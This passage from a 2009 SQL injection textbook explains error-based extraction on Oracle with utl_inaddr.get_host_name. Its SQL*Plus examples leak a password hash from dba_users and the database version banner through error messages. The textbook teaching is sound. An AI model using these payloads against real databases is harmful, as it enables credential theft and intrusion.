SQL Injection Attacks and Defense - 2009

Error Messages in Oracle
Exploiting SQL Injection • Chapter 4 167
Oracle also offers the possibility of extracting data via error messages. Depending on the
database version, different PL/SQL functions in Oracle make it is possible to control the
content of the error message. The best-known function is utl_inaddr. This function is
responsible for the name resolution of hosts.
SQL> select utl_inaddr.get_host_name('victim') from dual;
ORA-29257: host victim unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
In this case, it is possible to control the content of the error message. Whatever is passed
to the function is printed in the error message.
In Oracle, you can replace every value (e.g., a string) with a SELECT statement.
The only limitation is that this SELECT statement must return exactly one column and one
row. If not, you will get the error message ORA-01427: single-row subquery returns more than
one row. This can be used as in the following examples from the SQL*Plus command line:
SQL> select utl_inaddr.get_host_name((select username||'='||password
from dba_users where rownum=1)) from dual;
ORA-29257: host SYS=D4DF7931AB130E37 unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
SQL> select utl_inaddr.get_host_name((select banner from v$version where
rownum=1)) from dual;
ORA-29257: host ORACLE DATABASE 10G RELEASE 10.2.0.1.0 – 64BIT PRODUCTION unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
The utl_inaddr.get_host_name function can now be injected into a vulnerable URL.
In Figure 4.9, the error message contains the current date of the database.